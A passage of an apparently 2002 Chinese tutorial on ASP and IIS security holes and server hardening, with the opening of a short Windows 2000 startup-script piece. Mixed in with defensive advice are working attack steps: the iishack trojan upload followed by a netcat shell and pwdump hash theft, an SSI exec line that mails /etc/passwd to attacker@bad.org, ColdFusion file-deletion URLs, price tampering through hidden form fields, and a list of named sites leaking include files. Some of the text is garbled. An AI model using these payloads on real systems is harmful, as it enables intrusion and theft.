暴露数据库连接和性质, 资源地点, 小甜饼逻辑,服务器 IP 地址
- http://www.justshop.com/SFLib/ship.inc
暴露数据库性质
- http://www.bbclub.com:8013/includes/general.inc
暴露 cobranding
- http://www.salest.com/corporate/admin/include/jobs.inc
暴露 datafile 地点和结构
- http://www.bjsbabes.com/SFLib/design.inc
包括数据库结构为 StoreFront 2000 暴露源代码
- http://www.ffg.com/scripts/IsSearchEngine.inc
暴露搜索引擎记录文件
- http://www.wcastl.com/include/functions.inc
暴露成员电子邮件地址
- http://www.wcastl.com/flat/comments.txt
暴露成员私人的注释文件
- http://www.traveler.net/two/cookies.inc
暴露 cookie 逻辑
解决方案:
- 搜索引擎应该不索引有 asp 运行时刻错误的页
- 程序员应该在网页发布前对其进行彻底的调试
- 安全专家需要固定 asp 包含文件以便外部的用户不能看他们
asp 新闻组、站点提供两个解决方案对这个漏洞进行修正，首先对 .inc 文件内容进行加密，其次也可以使用 .asp 文件代替.inc 文件使用户无法从浏览器直接观看文件的源代码。.inc文件的文件名不用使用系统默认的或者有特殊含义容易被用户猜测到的，尽量使用无规则的英文字母。
20、利用Activer server explorer可对文件进行读写访问
漏洞描述：
chinaasp的Activer server explorer可以很方便的对本地文件在线查看服务器上的目录在线查看文件的名称、大小、类型、修改时间,在线编辑纯文本文件，如.txt、.htm、.asp、.pl、.cgi等等,直接执行服务器上的文件。
Activer server explorer要求填写相对路径或者绝对路径，但是假如：有一个攻击者把Activer server explorer上传到目标服务器上的某个目录，并且这个目录支持ASP的话，那么他就可以通过Activer server explorer修改、执行目标服务器上的文件。这种情况可以发生在一个攻击者拥有目标NT服务器上的一个可写目录帐号，并且这个目录又支持ASP。比如一些支持ASP的个人免费主页服务器，把Activer server explorer先传上你申请的免费主页空间，再通过各种方法得到目标服务器的路径，(比如可通过漏洞："请求不存在的扩展名为idq或ida文件，会暴露文件在服务器上的物理地址.").或者直接在相对路径上填"."，一般是默认。这样攻击者就能任意修改，执行目标服务器上的文件，不管他对这个文件有无读写访问权。
所以那些提供有ASP服务的个人主页或者其它服务的服务器，就要加倍小心这种攻击了。
漏洞解决方法
其实Activer server explorer就是利用了上面讲的漏洞　4　filesystemobject 组件篡改下载 fat分区上的任何文件的漏洞。那么我们如何才能限制用户使用FileSystemObject对象呢？一种极端的做法是完全反注册掉提供FileSystemObject对象的那个组件，也就是Scrrun.dll。具体的方法如下：
在ＭＳ－ＤＯＳ状态下面键入：
Regsvr32 /u c:\windows\system\scrrun.dll
（注意：在实际操作的时候要更改成为你本地的实际路径）但是这样的话，就不能使用FileSystemObject对象了，有时利用FileSystemObject对象来管理文件是很方便，有什么办法能两全其美呢？
我们可以做到禁止他人非法使用FileSystemObject对象,但是我们自己仍然可以使用这个对象.方法如下:
查找注册表中
HKEY_CLASSES_ROOT\Scripting.FileSystemObject 键值
将其更改成为你想要的字符串(右键-->"重命名"),比如 某晌?
HKEY_CLASSES_ROOT\Scripting.FileSystemObject2
这样,在ASP就必须这样引用这个对象了:
Set fso = CreateObject("Scripting.FileSystemObject2")
而不能使用:
Set fso = CreateObject("Scripting.FileSystemObject")
如果你使用通常的方法来调用FileSystemObject对象就会无法使用了。
只要你不告诉别人这个更改过的对象名称，其他人是无法使用FileSystemObject对象的。这样，作为站点管理者我们就杜绝了他人非法使用FileSystemObject对象，而我们自己仍然可以使用这个对象来方便的实现网站在线管理等等功能了！
21 IIS4.0/IIS5.0超长文件名请求存在漏洞
漏洞描述：
受影响的版本:
Microsoft IIS 5.0
+ Microsoft Windows NT 2000
Microsoft IIS 4.0
+ Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.5
- Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.0
- Microsoft Windows NT 4.0
当在一个已知的文件名后加230个"%20"再加个.htr，会使安装有Microsoft IIS 4.0/5.0泄漏该文件的内容。这是由ISM.dll映射的.htr文件引起的.比如：
http://target/filename%20<重复230次>.htr
这种请求只有当.htr请求是第一次调用或者ISM.dll第一次装载进内存，才能起作用。
解决方法：
安装补丁：
Microsoft IIS 5.0:
http://download.microsoft.com/download/win2000platform/Patch/Q249599/NT5/EN-US/Q249599_W2K_SP1_X86_en.EXE
Microsoft IIS 4.0:
http://download.microsoft.com/download/iis40/Patch/Q260838/NT4ALPHA/EN-US/ismpst4i.exe
22　ASP编辑器会自动备份asp文件，会被下载的漏洞
漏洞描述：
在有些编辑asp程序的工具，当创建或者修改一个asp文件时，编辑器自动创建一个备份文件，比如：UltraEdit就会备份一个..bak文件，如你创建或者修改了some.asp，编辑器自动生成一个叫some.asp.bak文件，如果你没有删除这个bak文件，攻击有可以直接下载some.asp.bak文件，这样some.asp的源程序就会给下载。
六 ASP安全建议
如何设置才能使ASP更加安全呢？以下我们重点来谈谈ASP安全方面要注意的问题。我们在第五部分"ASP漏洞和解决方法"中针对某些漏洞，也提出了相应的安全建议，这部分就不再重复。
在这部分的后面还要介绍些可扫描ASP漏洞的工具。
1 安装NT最新的补丁
目前最新的补丁是NT Option Pack 6.0.，微软的主页有最新的补丁。一般来说微软都会及时的公布最新的漏洞和补丁。目前IIS最新是5.0。windows2000自带IIS5.0.
IIS 5.0新功能如下：
安全性上：包括摘要式验证、整合的Windows验证、SGC (Server-Gated Cryptography )、Microsoft Certificate Services 2.0、集区处理程序之程序保护等。
管理上：包括IIS重新激活、站台CPU使用时间的限制、CPU资源使用记录、使用终端机服务远程管理IIS、自订错误讯息等。
Internet标准上：包括WebDAV(Web Distributed Authoring and Versioning)、FTP重新激活、HTTP压缩等。
Active Server Pages：包括新的转向方法(Server.Transfer与Server.Execute方法)、新的错误处理功能(Server.GetLastError方法)、无指令.asp的执行速度增快、可安装组件的效能调升、Scriptlet支持、使用cookie取得浏览器信息、自动增减执行绪(executing threads)、SRC服务器端包含功能、Script Encoder编码保护等。
更具体的功能介绍请参见其它资料。
2 关闭没有用的服务和协议
"尽量少开没用到的服务"，这永远是网络安全的准则。如果开启了某个服务，你就要面对不少的漏洞困扰，更重要的是你还要时时提防未来的由这个服务所引起的漏洞。比如，你不使用ftp,那就把FTP关了，不然你就要发费大量的精力和金钱去应付那些什么DOS，缓冲区溢出之类的漏洞。NETBIOS也是windows的一大安全隐患，我想目前服务器很少需要Netbios。再如你的IIS安装了index server 服务，那你至少要面对三个以上的有关这个服务的漏洞，因此如果你没用到INDEX　SERVER服务，也大可删除他同样的道理，我们要安装最少的协议。千万不要安装点对点通道通讯协议。此外，还必须小心地配置TCP/IP协议。在TCP/IP的属性页中选择"IP地址"项目，然后选择"高级"。在弹出来的对话框中选择"安全机制"，这样你可以禁止UDP，然后开启IP端口6和TCP端口80。当然开不开这些端口主强茨愕那榭隽恕?br> 　　IIS中的应用程序映射也是个很大的安全漏洞，请在IIS中设置好扩展名和可执行路径，删除没用的扩展名。
3 设置好你的NT
NT缺省安装时，系统账号Administrator和Guest被自动设置，很多攻击者就是利用这些账号来猜密码，从而进入你的系统。虽然没有足够的耐心，很难猜中这些密码，但是为了安全起见，建议把这些账号重新命名或者删除。NT　SERVER的系统策略编辑器非常有用。按"管理工具"－＞"系统策略编辑器"就可以进入，然后选择"文件"－＞"打开注册表"，并选择"本地计算机"图标，就可以认真配置了。主要设置以下几项：
1． 取消：网络－＞系统规则更新－＞远程更新
2． 取消：WINDOWS　NT网络－＞共享－＞创建隐藏的驱动器共享
3． 设置：Windows NT远程访问下面的各项
4． 设置：Windows NT系统->登录中各个项目。包括设置登录标记;不允许从"身份验证对话框"关机;不显示上次登录的用户名.
5． 设置：WINDOWS NT系统->文件系统中的"不为长文件名创建8.3文件名"
不要使用远程管理软件，除非不得已。由于NT不太支持远程管理，所以你可能会安装Reachout或者PC anywhere来管理。可是，当你安装了这些软件，你就不得不开启TCP/IP的所有端口。在你离开服务器的时候，请按"Ctrl+del+alt"，并选择"锁定工作站"。
4 磁盘文件格式使用比较安全的NTFS格式。
NTFS 权限是 Web 服务器安全性的基础，它定义了一个或一组用户访问文件和目录的不同级别。当拥有 Windows NT有效帐号的用户试图访问一个有权限限制的文件时，计算机将检查文件的 访问控制表 (ACL)。该表定义了不同用户和用户组所被赋予的权限。例如，Web 服务器上的 Web 应用程序的所有者需要有"更改"权限来查看、更改和删除应用程序的 .asp文件。但是，访问该应用程序的公共用户应仅被授予"只读"权限，以便将其限制为只能查看而不能更改应用程序的 Web 页。
5 对目录设置不同的属性，如：Read、Excute、Script。
您可以通过配置您的 Web 服务器的权限来限制所有用户查看、运行和操作您的ASP 页的方式。不同于 NTFS权限提供的控制特定用户对应用程序文件和目录的访问方式， Web 服务器权限应用于所有用户，并且不区分用户帐号的类型。 对于要运行您的ASP 应用程序的用户，在设置 Web 服务器权限时，必须遵循下列原则：
对包含 .asp 文件的虚拟目录允许"读"或"脚本"权限。
对 .asp 文件和其他包含脚本的文件（如 .htm 文件等）所在的虚目录允许"读"和"脚本"权限。
对包含 .asp 文件和其他需要"执行"权限才能运行的文件（如 .exe 和 .dll 文件等）的虚目录允许"读"和"执行"权限。
6 维护 Global.asa 的安全
为了充分保护 ASP 应用程序，一定要在应用程序的 Global.asa 文件上为适当的用户或用户组设置 NTFS 文件权限。如果Global.asa 包含向浏览器返回信息的命令而您没有保护 Global.asa文件，则信息将被返回给浏览器，即便应用程序的其他文件被保护。
7不要把密码，物理路径直接写在程序中。
很难保证您的ASP程序是否会给人拿到，即使你安装了最新的补丁。为了安全起见，应该把密码和用户名保存在数据库中，使用虚拟路径。
8 在程序中记录用户的详细信息.
这些信息包括用户的浏览器、用户停留的时间，用户IP等。其中记录IP是最有用的。可用下面的语句了解客户端和服务端的信息：
<Table><%for each name in request.servervariables%>
<tr><td><%=name%>:</td>
<td><%=request.servervariables(name)%></td>
</tr>
<%next%></table>
如果我们可以记录了用户的IP，就能通过追捕来查用户的具体地点。当然如果用户通过代理来浏览网页，上面的方法只能看到用户代理的IP，而不能记录用户真实的IP。ASP没有提供查看客户端网卡物理地址（即MAC）的功能。
9 Cookie 安全性
ASP 使用 SessionID cookie 跟踪应用程序访问或会话期间特定的 Web 浏览器的信息。这就是说，带有相应的cookie 的 HTTP 请求被认为是来自同一 Web 浏览器。Web 服务器可以使用 SessionID cookies配置带有用户特定会话信息的 ASP 应用程序。例如，如果您的应用程序是一个允许用户选择和购买 CD 唱盘的联机音乐商店，就可以用SessionID 跟踪用户漫游整个应用程序时的选择。
SessionID 能否被黑客猜中？为了防止计算机黑客猜中 SessionID cookie 并获得对合法用户的会话变量的访问，Web 服务器为每个 SessionID指派一个随机生成号码。每当用户的 Web 浏览器返回一个 SessionID cookie 时，服务器取出 SessionID和被赋予的数字，接着检查是否与存储在服务器上的生成号码一致。若两个号码一致，将允许用户访问会话变量。这一技术的有效性在于被赋予的数字的长度（64唬??顺ざ仁辜扑慊?诳筒轮?SessionID 从而窃取用户的活动会话的可能性几乎为 0。
加密重要的 SessionID Cookie.
截获了用户 sessionID cookie 的计算机黑客可以使用此 cookie 假冒该用户。如果 ASP
应用程序包含私人信息，信用卡或银行帐户号码，拥有窃取的 cookie的计算机黑客就可以在应用程序中开始一个活动会话并获取这些信息。您可以通过对您的 Web 服务器和用户的浏览器间的通讯链路加密来防止SessionID cook ie 被截获。
10使用身份验证机制保护被限制的 ASP 内容
可以要求每个试图访问被限制的 ASP 内容的用户必须要有有效的 Windows NT帐号的用户名和密码。每当用户试图访问被限制的内容时，Web 服务器将进行身份验证，即确认用户身份，以检查用户是否拥有有效的Windows NT 帐号。
Web 服务器支持以下几种身份验证方式：
基本身份验证 提示用户输入用户名和密码。
Windows NT 请求/响应式身份验证,从用户的 Web 浏览器通过加密方式获取用户身份信息。然而，Web 服务器仅当禁止匿名访问或 Windows NT 文件系统的权限限制匿名访问时才验证用户身份。
11 保护元数据库
访问元数据库的 ASP 脚本需要 Web服务器所运行的计算机的管理员权限。在从远程计算机上运行这些脚本时，须经已通过身份验证的连接，如使用 Windows NT请求/响应验证方式进行连接。应该为管理级 .asp 文件创建一个服务器或目录并将其目录安全验证方式设置为 Windows NT请求/响应式身份验证。目前，仅 Microsoft Internet Explorer version 2.0 或更高版本支持 Windows NT 请求响应式身份验证。
12 使用 SSL 维护应用程序的安全
SSL （Secure Sockets Layer）协议是由Netscape首先发表的网络资料安全传输协定,其首要目的是在两个通信间提供秘密而可靠的连接。该协议由两层组成，底层是建立在可靠的传输协议（例如：TCP）上的是SSL的记录层，用来封装高层的协议。SSL握手协议准许服务器端与客户端在开始传输数据前，能够通过特定的加密算法相互鉴别。SSL的先进之处在于它是一个独立的应用协议，其它更高层协议能够建立在SSL协议上。
SSL3.0 协议作为 Web 服务器安全特性，提供了一种安全的虚拟透明方式来建立与用户的加密通讯连接。SSL 保证了 Web内容的验证，并能可靠地确认访问被限制的 Web 站点的用户的身份。
通过 SSL，您可以要求试图访问被限制的 ASP应用程序的用户与您的服务器建立一个加密连接；以防用户与应用程序间交换的重要信息被截取。
比如好多基于WEB的ASP论坛都会提供注册用户互相发送信息的服务，这种信息是明文传送的，如果在网吧就很容易给人监听到。如果加了一层SSL认证，就会防止发送信息被监听的可能。
13 客户资格认证
控制对您的 ASP 应用程序访问的一种十分安全的方法是要求用户使用客户资格登录。客户资格是包含用户身份信息的数字身份证，它的作用与传统的诸如护照或驾驶执照等身份证明相同。用户通常从委托的第三方组织获得客户资格，第三方组织在发放资格证之前确认用户的身份信息。（通常，这类组织要求姓名、地址、电话号码及所在组织名称；此类信息的详细程度随给予的身份等级而异。）
每当用户试图登录到需要资格验证的应用程序时，用户的 Web 浏览器会自动向服务器发送用户资格。如果 Web 服务器的 SecureSockets Layer (SSL) 资格映射特性配置正确，那么服务器就可以在许可用户对 ASP 应 绦蚍梦手?岸云渖矸萁?腥啡稀?
作为 ASP应用程序开发人员，您可以编写脚本来检查资格是否存在并读取资格字段。例如，您可以从资格证明中访问用户名字段和公司名字段。Active Server Pages 在 Request 对象的 ClientCertificate 集合中保存资格信息。必须将 Web 服务器配置为接受或需要客户资格，然后才能通过 ASP 处理客户资格；否则，ClientCertificate集合将为空。
14 ASP的加密
由于ASP脚本是采用明文（plaintext）方式来编写的，所以应用开发商辛苦开发出来的ASP应用程序，一旦发布到运行环境中去后，就很难确保这些"源代码"不会被流传出去。这样就产生了如何有效地保护开发出来的ASP脚本源代码的需求。
官方加密程序：从微软免费下载到sce10chs.exe 直接运行即可完成安装过程。安装完毕后，将生成screnc.exe文件，这是一个运行在DOS PROMAPT的命令工具。
运行screnc - l vbscript source.asp destination.asp生成包含密文ASP脚本的新文件destination.asp用记事本打开看凡是"<%和%>"之内的，不管是否注解，都变成不可阅读的密文了，但无法加密中文。
几种ASP源代码保护方法：
1，"脚本最小化"即ASP文件中只编写尽可能少的源代码，实现商业逻辑的脚本部分被封装到一个COM/DCOM组件，并在ASP脚本中创建该组件，进而调用相应的方法（methed）即可。应用开发者动手开发ASP脚本应用之前就可按此思路来开发，或者直接用ASP脚本快速开发出原型系统后，针对需要保护、加密的重要脚本用COM/DCOM组件来重新开发、实现并替换。
2，"脚本加密"即ASP脚本仍直接按源代码方式进行开发，但在发布到运行环境之前将脚本进行加密处理，只要把加密后的密文脚本发布出去。即在ASP.DLL读取脚本这个环节加入密文还原的处理。实现这种思路的方法有两种：一是自行开发一个ISAPI的IIS过滤（filter）块，在ASP.DLL之前勾连（hook）对ASP脚本文件的读取，以便把文件系统读出的密文还原成ASP.DLL可以解释的明文；方法二是直接由ASP.DLL提供对ASP脚本加密处理的支持。微软在新版本的Vbscript.dll
jscript.dll中提供这种成为MS script encode技术的支持。这样，无论是客户端的Vbscript
jscript（包括WSH脚本等），还是服务器端的Vbscript jscript （即ASP脚本）都可以支持加密处理。
MS script encode技术具体的实现思路包括以下两个方面：一是加密过程，通过提供一个实用程序对包含ASP脚本源代码的文本文件进行扫描，找出其标记为<script language = "vbscript.encode">或<script language = "Jscript.encode">；二是还原过程，IE或ASP.DLL等执行脚本时是统一通过Vbscript.dll
jscript.dll来解释执行的，所以它们都能同时地、透明地支持明文和密文的脚本。
总之，如果采用第一种思路，要么 孕性诳?⒐?讨凶裾战?校??纯梢钥悸茄≡褡远??怀?isual basic 编译代码的通用的、实用工具；采取第二种思路的化，要么就自行开发IIS ISAPI过滤模块，要么可以考虑直接采用MS script encode软件。
下面来看看一种ASP可以使用的简单字符加密算法，而不是那些受限制的加密算法。其实，这里介绍的加密算法对于一般的运用来说已经足够解密人麻烦一阵子的了。它的加密基础是最简单的Vernum密码方法，它的基本原理是，需要有一个需要加密的明文和一个随机生成的解密钥匙文件。然后使用这两个文件组合起来生成密文。
    (明文) 组合 (密钥) = 加密后的密文 所以这里介绍的是生成密钥的代码。我们假设我们生成的密钥为512位长的密钥，它已经足够来加密一个文本字符了。代码如下：
KeyGeN.asp文件
<%
******************************
KeyGeN.asp
******************************
Const g_KeyLocation = "C:\key.txt"
Const g_KeyLen = 512
On Error Resume Next
Call WriteKeyToFile(KeyGeN(g_KeyLen),g_KeyLocation)
if Err <> 0 Then
Response.Write "ERROR GENERATING KEY." & "<P>"
Response.Write Err.Number & "<BR>"
Response.Write Err.Description & "<BR>"
Else
Response.Write "KEY SUCCESSFULLY GENERATED."
End If
Sub WriteKeyToFile(MyKeyString,strFileName)
Dim keyFile, fso
set fso = Server.CreateObject("scripting.FileSystemObject")
set keyFile = fso.CreateTextFile(strFileName, true)
keyFile.WriteLine(MyKeyString)
keyFile.Close
End Sub
Function KeyGeN(iKeyLength)
Dim k, iCount, strMyKey
lowerbound = 35
upperbound = 96
Randomize Initialize random-number generator.
for i = 1 to iKeyLength
s = 255
k = Int(((upperbound - lowerbound) + 1) * Rnd + lowerbound)
strMyKey = strMyKey & Chr(k) & ""
next
KeyGeN = strMyKey
End Function
%>
在IIS下运行上面的KeyGeN.asp页面。你只需要如此做一次，他将把密钥写入文件c:\key.txt中 (如果你愿意的话，你也可以把这个文件放到另外一个更加安全的地方).然后你可以打开这个key.txt文件，它将包含512个ASCII码在35到96之间的字符.并且由于是随机生成的，所以每个人密钥文件key.txt将是不一样的，下面是一个例子密钥文件：
IY/;$>=3)?^-+7M32#Q]VOII.Q=OFMC`:P7_B;<R/8U)XFHC<SR_E$.DLG=I+@5%*+OP:F_=;NSY`-^S.`AA=BJ3M0.WF#T5LGK(=/<:+C2K/^7AI$;PUOME2+T8ND?W$C(J\,;631M-LD5F%%1TF_&K2A-D-54[2P,#*JU%6`0RF3CMF0(#T07UFZ=>#,+.AW_/+)DIB;2DTIA57TT&-]O/*FM>H.XH5W^0Y*=71+5*^`^PKJ(=E/X#7A:?,S>R&T;+B#<:-*\@)X9F`_`%QA3Z95.?_T#1,$2#FWW5PBH^*<))A(S0@AVD8C^Q0R^T1D?(1+,YE71X+.*+U$:3XO^Q).KG&0N0);[LJ<OZ6IN?7N4<GTL?(M4S8+3JMK5)HC%^1^+K;\$WBXPA?F&5^E\D$7%*O/U[1/?8(5:1OVWV*1Z-%`:K&V?X1,1KURD@3W0^D)<OG40?(VJ4EWL5A5M<$A);CQ36R9I]*U#Q%1<Y\&SA%#1<V
下面再仔细分析一下上面的程序，我们发现其中的lowerbound和upperbound的数值<其实就是你想使用来加密的ASCII字符范围。
下面的代码将介绍如何使用这个密钥来加密和解密一个字符串
Crypt.asp文件
<%
Dim g_Key
Const g_CryptThis = "Now is the time for all good men to come to the
aid of their country."
Const g_KeyLocation = "c:\key.txt"
g_Key = mid(ReadKeyFromFile(g_KeyLocation),1,Len(g_CryptThis))
Response.Write "<p>ORIGINAL STRING: " & g_CryptThis & "<p>"
Response.Write "<p>KEY VALUE: " & g_Key & "<p>"
Response.Write "<p>ENCRYPTED CYPHERTEXT: " & EnCrypt(g_CryptThis) &
"<p>"
Response.Write "<p>DECRYPTED CYPHERTEXT: " &
DeCrypt(EnCrypt(g_CryptThis)) & "<p>"
Function EnCrypt(strCryptThis)
Dim strChar, iKeyChar, iStringChar, i
for i = 1 to Len(strCryptThis)
iKeyChar = Asc(mid(g_Key,i,1))
iStringChar = Asc(mid(strCryptThis,i,1))
*** uncomment below to encrypt with addition,
iCryptChar = iStringChar + iKeyChar
iCryptChar = iKeyChar Xor iStringChar
strEncrypted = strEncrypted & Chr(iCryptChar)
next
EnCrypt = strEncrypted
End Function
Function DeCrypt(strEncrypted)
Dim strChar, iKeyChar, iStringChar, i
for i = 1 to Len(strEncrypted)
iKeyChar = (Asc(mid(g_Key,i,1)))
iStringChar = Asc(mid(strEncrypted,i,1))
*** uncomment below to decrypt with subtraction
iDeCryptChar = iStringChar - iKeyChar
iDeCryptChar = iKeyChar Xor iStringChar
strDecrypted = strDecrypted & Chr(iDeCryptChar)
next
DeCrypt = strDecrypted
End Function
Function ReadKeyFromFile(strFileName)
Dim keyFile, fso, f
set fso = Server.CreateObject("Scripting.FileSystemObject")
set f = fso.GetFile(strFileName)
set ts = f.OpenAsTextStream(1, -2)
Do While not ts.AtEndOfStream
keyFile = keyFile & ts.ReadLine
Loop
ReadKeyFromFile = ke le
End Function
%>
在Crypt.asp中我们首先从密钥文件中得到密钥值，然后从这段密钥中截取和我们需要加密的明文同样长度的密钥。然后使用一个简单的异或操作将明文和密钥进行运算，那么得到的结果就是加密后的密文了。过程很简单的。由于是使用了异或操作，所以解密将非常简单，只要使用同样的密钥对密文再次进行异或操作就能够解密了。
在上面介绍的基础上，你可以少加改动，就可以使用同样的方法加密一个文件。唯一需要注意的是，对于一个二进制文件，你需要做一些完整性检查以保证转换回来的字符不要越界。
现在你需要做的就是把密钥保存在服务器上的一个安全的地方（不能够被外部访问）
15 SQL SERVER的安全性
目前用ASP编写的WEB应用中，后台数据库大部分SQL　SERVER。SQL　SERVER相对来说比较安全。但是也要小心地配置SQL　Server.
1 安装远程数据库管理有风险
SQL Server支持从远程进行数据库的维护。在安装时你可以选择不安装，安装完成以后，你还可以通过"SQL Server Network Utility"来删除远程管理。如果你要使用远程管理，请使用TCP/IP，并将缺省的端口1433改变为其他的数值。使用远程对你可能比较方便，便是请注意一个hacker只要知道你的SQL server密码，就可以进入你的数据库。
2 改变sa的密码。
缺省安装时，SQL　SERVER的sa账号的密码为空，建议你在Enterprise SERVER中，改变sa的密码。
3 数据库登录账号不要写入ASP页面中。
16 使用最新的扫描器扫描ASP漏洞
目前可以扫描IIS漏洞的扫描器有很多，比较有名的有ISS，CIS和gnit等。下面我们以GNIT为例子。
GNIT是个功能很强的漏洞扫描器，能扫描NT的用户名和相关信息列表，扫描IIS的漏洞。在WINNT的DOS模式下打下:
gnit <对方IP＞
比如：gnit 172.1.1.1
GNIT开始扫描端口，从上图可知目标主机提供了HTTP，FTP，SMTP等服务，扫描完后。会在GNIT目录下生成一个HTML文件，其文件名是目标主机的IP。打开这个HTML文件，会看到对方主机的一些信息和漏洞。这些信息和漏洞包括:用户名和组的相关详细信息，开放的服务和WEB扫描的漏洞等。我们比较关心的是WEB扫描的漏洞信息：
下图是GNIT的WEB扫描一些信息，其中加粗部分是漏洞，当然有些漏洞并不准确，但不妨试试。（有必要说明下，以下我是在一台NT4。01，IIS4。0，Option PACK6.0,并且缺省安装）要测试这些漏洞很简单。比如：可在URL输入：
    http://someurl/iisadmpwd/aexp3.htr
----可远程管理IIS。
    http://someurl/scripts/iisadmin/bdir.htr
----目标主机的硬盘全部目录都一览无余，并且有创建新目录的功能（不过我在测试中，并不能创建远程目录，但是能使目标主机的WEB当机）
    http://someurl/scripts/tools/getdrvrs.exe
---可在远程主机上创建ODBC数据库，不管数据库路径和数据库是否存在。
此外还有其它的漏洞，请网友自己测 Ｆ浣饩龇椒ㄇ肟瓷厦娴穆┒捶治觥?br> 如果用CIS扫描器，还有比较详细的漏洞分析和解决方法。请读者自己分析。
七、总结
目前WEB数据库访问的多种技术中，比如CGI（通用网关接口）、JDBC、PHP、ASP，ASP以其开发周期短，存取方式数据库简单，运行速度快而成为众多网站程序员的首选开发技术。
但是其网络安全性也是不容忽视的。做为一个ASP开发者，你必须关注NT和IIS的安全漏洞，从上面的讨论我们可以看到ASP的很多漏洞都是由IIS所引起的。同时ASP程序员在开发自己的网站时，要注意来自ASP程序设计不当所引发的安全问题。
八：声明：其中某些例子是从其它网站上整理的，因时间紧迫，未来得及通知作者，请见谅。
最后我们讨论一下Cold Fusion脆弱点：同样是L0pht发布了Allaire的产品Cold Fusion Application Server中存在多个严重的脆弱点。该产品安装时会拷贝例子代码和在线文档到系统中。问题出在其中的多个例子代码文档，因为他们没有把自己的交互活动仅仅局限于本地主机。
第一个脆弱点存在于openfile.cfm文件中，它允许攻击者往目标WEB服务器上传任意文件。为发掘这个脆弱点，把浏览器指向以下URL后，遵照所显示网页上给出的具体步骤行动：
http://www.company.com/cfdocs/expeval/openfile.cfm
第二个脆弱点存在于displayopenfile.cfm文件中，他允许攻击者接着保存所上传的文件。第三个脆弱点存在于exprcalc.cfm文件中，他允许攻击者查看并删除目标系统上的任意文件。举例来说，使用以下URL可以删除setup.log文件：
http://www.company.com/cfdocs/expeval/ExprCalc.cfm?OpenFilePath=C:\winnt\repair\setup.log
28、 缓冲区溢出：Microsoft IIS4.0脆弱点是1999年6月公开的，29、 它对于Microsoft的WEB服30、 务器软件可以说是致命的。这个脆弱点由eEye安全小组发现，31、 他的漏洞发掘代码和可执行文件也由该小组公布在网上。该脆弱点是对URL中的.HTR、.STM和.IDC、.IDQ等名32、 字缺乏边界检查上，33、 从而34、 允许攻击者插入一些邪恶的代码，35、 以此作为Administrator用户在Microsoft系统的WEB服36、 务器上远程地下载并执行任意的命令。
称为iishack的相应漏洞发掘程序可从很多站点找到。该程序通过与URL一道发送待执行的特洛伊木马程序的文件名工作：
C:\nt\iishack>iishack 10.12.24.2 80 172.29.11.101 /getem.exe
--------(IIS 4.0 remote buffer overflow exploit)---------------
(c) dark spyrit -barns@eeye.com.
http://www.eEye.com
[usage:iishack<host><post><url>]
eg-iishack www.example.com 80 www.myserver.com /thetrojan.exe
do not include ‘http://’ before hosts!
---------------------------------------------
Data sent!
其中称为getem.ex的特洛伊木马程序是我们编写的，它解包出pwdump.exe（NT上SAM的转储程序）后，运行一个做了手脚的netcat版本，让他在25号端口上监听并返回一个提供命令提示的shell。一旦使用iishack成功的远程运行getem.exe，我们就可以在本地运行一个netcat命令以得到所返送回的命令提示符，从而作为SYSTEM帐号，取得目标服务器的访问权。
C:\nt\iishack>nc -nvv 10.12.14.2 25
成功后就：
C:\>nc -nvv 10.11.1.1 26
(UNKNOWN)[10.11.1.1]26(?)open
Microsoft(R) Windows NT(TM)
(C)Copyright 1985-1996 Microsoft Corp.
C:\WINNT\>pwdump
将会得到一串密码散列值，再将这些散列值拷贝和粘贴，再借助LC3工具破解，可能很轻松的得到用户名和密码。
37、 WEB设计缺陷：
? 误用隐藏标? 记：有的购物网站经常在HTML标? 记中隐藏的标? 记各种物品的价格，? 然而? 一旦攻击者发现这个漏洞，? 他就可以成倍? 的降低它。举例来说，? 假如某个网站在他们的购物网页中有如下HTML代码：
<FORM ACTION=http://www.company.com/cgi-bin/order.pl method=”post”>
<input type=hidden name=”price” value=”199.99”>
<input type=hidden name=”prd_id” value=”X190”>
数量：<input type=text name=”quant” size=3 maxlength=3 value=1>
</FORM>
相信大家都知道可以利用文本编辑器打开这个文档，同时我们也就可以在本地修改文档成：
<input type=hidden name=”price” value=”1.99”>
这样，我们就可以在本地打开这个网页，然后填表，提交。服务器得到的是降低了100倍的收费，而你却依然能得到同样的商品！
? 服? 务端包含（SSI）：服? 务端包含（Server Side Include，? 简称SSI）提供了一个无需编程实现实时交互功能的机制。SSI有许多称为标? 记（tag）的特性可用，? 包括echo、include、fsize、flastmod、exec、config、odbc、email、if、goto、label和break。对攻击者来说，? 最有用的只是exec和email标? 记。
通过向将由目标服务器进程作为一个HTML文档求解的栏目插入SSI代码，攻击者就能在该服务器上执行命令，从而取得该服务器的访问权。举例来说，在通过WEB创建新帐号时，把SSI代码输入到名或姓栏目中，目标WEB服务器进程可能会求解该输入并尝试运行它。下面的SSI讲把该系统的密码文件邮寄给攻击者：
<!--#exec cmd=”/bin/mail attacker@bad.org<cat /ect/passwd>”à
注意：SSI代码不能存为HTML格式，可以存为SHTML或者ASP等格式。
《正文完》
尾注：本文初步完成，由于附录太大，暂时还不能放上来。
本文历时1420分钟，字数101000字
本文写作途中得到了各位朋友支持，谢谢小榕论坛的朋友。
转载请保持文章的完整性，谢谢。
雾中鸟
2002年3月8日于中国西安
参考文献：
《Hacking Exposed：Network Security Secrets and Solutions》——Stuart McClue、Joel Scambray、George Kurtz
《Hacker Proof：The Ultimate Guide to Network Security》——Lars Klander
《黑客防线（Hacker Defence）》
《挑战黑客》——李洪、钱江


显示win2000开机脚本运行可能导致严重的安全问题

显示win2000开机脚本运行可能导致严重的安全问题
说明：
文章来源：中文NT资源网[http://www.AboutNT.com]
版权信息：原创、编译的文章版权归本站所有，如有引用请与中文NT资源网[http://www.AboutNT.com]站长联系。
其它信息：中文NT资源网[http://www.AboutNT.com]为个人网站，站长沧海笑一声，Email:zhuqs@163.com

内容:
这是一个配置方面的失误,只有你配置了启动脚本(注意不是登录脚本),这个问题才会出现.它将导致用户不用登录系统就能以system权限对文件进行处理,有点类似于前段时间比较出名的中文WIN2000输入法漏洞,但这不是漏洞而只应算是配置不当造成严重后果.

可以进行如下测试(测试环境为win2000 server DC):
建立一个批命令文件(可以是其它的脚本文件)test.bat，将之放在c:\下,将该脚本通过组策略加到启动脚本列表中(打开域控制器策略，找到计算机配置->windows设置->脚本(启动/关闭),打开右边的“启动”项，将我们建立的脚本test.bat加上),重新启动机器该脚本就可以运行了。

